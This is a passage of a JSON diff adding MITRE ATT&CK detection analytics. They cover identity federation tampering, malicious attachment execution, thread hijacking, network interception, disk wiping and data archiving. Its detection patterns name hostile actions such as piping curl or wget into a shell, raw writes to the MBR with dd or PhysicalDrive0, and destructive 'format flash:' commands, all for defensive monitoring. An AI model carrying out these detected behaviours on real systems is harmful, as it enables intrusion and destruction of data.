"https://attack.mitre.org/detectionstrategies/DET0293#AN0817", + "external_id": "AN0817" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0817", + "description": "Detects tenant-wide authentication or conditional access changes that weaken hybrid identity enforcement, including disabling AD FS or bypassing hybrid MFA policies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "Modify Federation Settings or Update Authentication Policy" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PolicyScope", + "description": "Scope of authentication and federation policies to be monitored." + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bf166688-0c78-43a5-bb87-3159c1b86584", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0293#AN0818", + "external_id": "AN0818" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0818", + "description": "Detects suspicious changes to SAML/OAuth federation configurations, such as new signing certificates, altered endpoints, or claims issuance rules granting elevated privileges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:okta", + "channel": "Federation configuration update or signing certificate change" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FederationEndpoints", + "description": "Federation/SAML endpoints monitored for modification." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--328d639e-6b8d-400c-9cdd-3c255d343e47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0294#AN0819", + "external_id": "AN0819" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0819", + "description": "User opens a file delivered by email, web, chat, or share. The handler application (Word/PDF reader/archiver) creates a file in user-controlled paths (Downloads, Temp, Desktop) and then spawns a new or unusual child process (e.g., powershell.exe, wscript.exe, cmd.exe, regsvr32.exe, rundll32.exe, msiexec.exe). Optional precursors include FileStreamCreated (URL/UNC) and Office \u2192 system32 batch writes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Seconds/minutes to correlate file write to child spawn (e.g., 0\u20135m)." + }, + { + "field": "SuspiciousExtensions", + "description": "Extensions and double-extension patterns to flag (exe,scr,lnk,pif,cpl,js,vbs,bat,cmd,ps1,hta,iso,lnk->cmd,docm,xlsm,pdf->exe, etc.)." + }, + { + "field": "UserPaths", + "description": "Paths considered user-controlled (Downloads, Temp, Desktop, profile AppData staging)." + }, + { + "field": "ParentApps", + "description": "List of user-facing apps that commonly open attachments for your org (reduce FPs or add weight)." + }, + { + "field": "SignerAllowList", + "description": "Trusted code signers/publishers to suppress benign admin tools." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5becf65d-da9f-46e1-8edc-eea05c9dc6cb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0294#AN0820", + "external_id": "AN0820" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0820", + "description": "User opens a downloaded document/installer leading to EndpointSecurity file create in ~/Downloads or ~/Library paths then an exec of a suspicious utility (osascript, bash/zsh, curl, chmod, open with -a Terminal). Correlates File Creation with subsequent process exec and, optionally, quarantine/LSQuarantine events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between file create and exec (e.g., \u226410m)." + }, + { + "field": "QuarantineRequired", + "description": "Require com.apple.quarantine attribute present on the file for higher fidelity." + }, + { + "field": "ParentApps", + "description": "Approved document viewers/editors to anchor lineage." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e0b64d4e-79e0-47b8-a95c-414e2b69406d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0294#AN0821", + "external_id": "AN0821" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0821", + "description": "User or desktop application writes a new file to ~/Downloads, /tmp, or mounted removable media followed by execve of a risky interpreter/loader (bash, sh, python, perl, php, node, curl|wget piping to sh, ld.so, rdesktop, xdg-open - with unusual args). Uses auditd PATH+SYSCALL (open/creat/write/rename) with execve event linking.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window for audit events (e.g., \u22645m)." + }, + { + "field": "DesktopParentMap", + "description": "Map common desktop apps (libreoffice, evince, firefox, chromium) for lineage anchoring." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--26ef9aef-33eb-4df2-ba82-6ace95173c80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0295#AN0822", + "external_id": "AN0822" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0822", + "description": "Detects hijacking of an existing thread (OpenThread) through a behavioral chain involving thread suspension (SuspendThread), memory modification (VirtualAllocEx + WriteProcessMemory), context manipulation (SetThreadContext), and thread resumption\u2014all within another live process's address space (ResumeThread).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "API Calls" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcessList", + "description": "Sensitive processes that should never be targeted for thread hijack attempts" + }, + { + "field": "TimeWindow", + "description": "Expected delay between SuspendThread and ResumeThread events; tight thresholds reduce evasion" + }, + { + "field": "SuspiciousThreadContextRegions", + "description": "Memory regions or offsets that should not be targeted for SetThreadContext" + }, + { + "field": "ParentProcessAnomalyThreshold", + "description": "Score deviation of the parent/child relationship in a thread injection chain" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c15f60a8-6e58-460f-8dcf-1bce272b5eaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0296#AN0823", + "external_id": "AN0823" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0823", + "description": "Detects suspicious DNS/ARP poisoning attempts, unauthorized modifications to registry/network configuration, or abnormal TLS downgrade activity. Correlates changes in system configuration with subsequent unusual network flows or authentication events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4670" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredRegistryPaths", + "description": "Specific network stack and DNS registry keys that vary by enterprise configuration." + }, + { + "field": "DowngradeCipherList", + "description": "List of weak/legacy ciphers tuned per environment for TLS downgrade detection." + }, + { + "field": "TimeWindow", + "description": "Correlation period between config changes and abnormal network connections." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3cdef7d3-4ca6-4d4a-933b-656af73f8433", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0296#AN0824", + "external_id": "AN0824" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0824", + "description": "Detects unauthorized edits to /etc/hosts, /etc/resolv.conf, or suspicious ARP broadcasts. Correlates file modifications with subsequent unexpected network sessions or service creation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Unexpected ARP replies or DNS responses inconsistent with authoritative servers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredFiles", + "description": "List of system files shaping traffic flow (hosts, resolv.conf, PAM modules)." + }, + { + "field": "ARPThreshold", + "description": "Rate/volume thresholds for ARP/DNS anomalies tuned per subnet." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7535f2e7-d7bb-4e92-8a63-36cd9ccc01be", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0296#AN0825", + "external_id": "AN0825" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0825", + "description": "Detects unauthorized edits to system configuration profiles, unexpected certificate trust changes, or abnormal ARP/DNS patterns indicative of interception.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Configuration profile modified or new profile installed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "TLS downgrade or inconsistent DNS answers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProfileIdentifiers", + "description": "Known good vs suspicious configuration profiles per enterprise baseline." + }, + { + "field": "TLSVersionThreshold", + "description": "Minimum TLS version accepted in network traffic inspection." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bb3daf14-f237-4688-a319-a4d7570e407e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0296#AN0826", + "external_id": "AN0826" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0826", + "description": "Detects unauthorized firmware or configuration changes enabling adversary-in-the-middle positioning (e.g., route injection, DNS spoofing, SSL downgrade). Behavioral analytics focus on sudden changes to routing tables or image file integrity failures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Unexpected route changes or duplicate gateway advertisements" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "networkdevice:config", + "channel": "Configuration file modified or replaced on network device" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RoutingPolicyBaseline", + "description": "Expected routing and BGP/OSPF paths for validation." + }, + { + "field": "FirmwareChecksum", + "description": "Baseline image checksum per device type used to detect tampering." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--34560ac3-2e05-4394-8145-0cd6071c1680", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0297#AN0827", + "external_id": "AN0827" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0827", + "description": "Processes attempting raw disk access to overwrite sensitive structures such as the MBR or partition table using \\\\.\\PhysicalDrive notation. Detection relies on correlating process creation, privilege escalation, and raw sector writes in Sysmon and Security logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "WinEventLog:Sysmon", + "channel": "Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SectorRange", + "description": "Specify which sectors are considered critical (MBR, partition table) to reduce noise." + }, + { + "field": "ProcessWhitelist", + "description": "Exclude legitimate low-level disk management or imaging tools used by administrators." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--538707d4-df45-489b-97f5-0115802a701f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0297#AN0828", + "external_id": "AN0828" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0828", + "description": "Execution of utilities (dd, hdparm, sgdisk) or custom binaries attempting to overwrite disk boot structures (/dev/sda MBR sector or partition tables). Detection correlates shell execution with syscalls writing to sector 0 or disk metadata blocks.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "auditd:SYSCALL", + "channel": "write syscalls to /dev/sd* targeting offset 0" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "Execution of dd/sgdisk with arguments writing to sector 0 or partition table" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDevices", + "description": "Define specific device paths to monitor (e.g., /dev/sda, /dev/nvme0n1)." + }, + { + "field": "OffsetThreshold", + "description": "Focus on suspicious writes at disk offsets corresponding to MBR/partition structures." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--575a9c01-6dac-4513-86ca-e80b6e485212", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0297#AN0829", + "external_id": "AN0829" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0829", + "description": "Abnormal invocation of diskutil or asr that modifies partition tables or initializes raw devices. Monitor for IOKit system calls targeting disk headers or EFI boot sectors, correlated with elevated privileges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "diskutil partitionDisk or eraseVolume with partition scheme modifications" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "macos:unifiedlog", + "channel": "IOKit raw disk write to EFI/boot partition sectors" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminToolWhitelist", + "description": "System provisioning workflows may legitimately re-partition disks; whitelist by context." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d970c6c7-82d0-4977-9e2e-4b27af383ca5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0297#AN0830", + "external_id": "AN0830" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0830", + "description": "Execution of destructive CLI commands such as format flash:, format disk, or equivalent vendor-specific commands that erase filesystem structures. Detection correlates AAA logs showing privileged access with immediate format/erase commands.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "format flash:, format disk, reformat commands" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "Privileged login followed by destructive format command" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPatterns", + "description": "Expand detection to cover vendor-specific destructive commands." + }, + { + "field": "PrivilegedUsers", + "description": "Whitelist authorized maintenance sessions to reduce false positives." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ebfa3aa8-dc7c-4d56-868e-169c873b5e78", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0298#AN0831", + "external_id": "AN0831" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0831", + "description": "Detects adversarial archiving using built-in or third-party utilities (makecab, diantz, xcopy, certutil, 7z, WinRAR, WinZip). Correlates suspicious process creation events with command-line arguments for compression/encoding, followed by creation of archive files (.cab, .zip, .7z, .rar). Identifies anomalous loading of crypt32.dll for encryption operations or execution of diantz.exe to compress remotely staged files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SuspiciousExtensions", + "description": "List of archive extensions considered high risk (.cab, .zip, .7z, .rar)." + }, + { + "field": "ProcessAllowlist", + "description": "Known business utilities allowed to create archives without alerting." + }, + { + "field": "FileSizeThresholdMB", + "description": "Minimum archive size threshold to filter out benign small compressions." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--89cfa3ac-22c9-462f-a6a5-b142124e22a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0298#AN0832", + "external_id": "AN0832" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0832", + "description": "Detects execution of archiving utilities (tar, gzip, bzip2, xz, zip, openssl) followed by suspicious archive file creation. Correlates archive creation in temporary or staging directories with execution of commands involving compression or encryption options.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:FILE", + "channel": "create: Creation of archive files in /tmp, /var/tmp, or user home directories" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ArchiveCommands", + "description": "List of archiving utilities considered suspicious." + }, + { + "field": "MonitoredDirectories", + "description": "Paths where archive creation is flagged as unusual (e.g., /tmp, /var/tmp)." + }, + { + "field": "TimeWindow", + "description": "Correlation window for linking utility execution 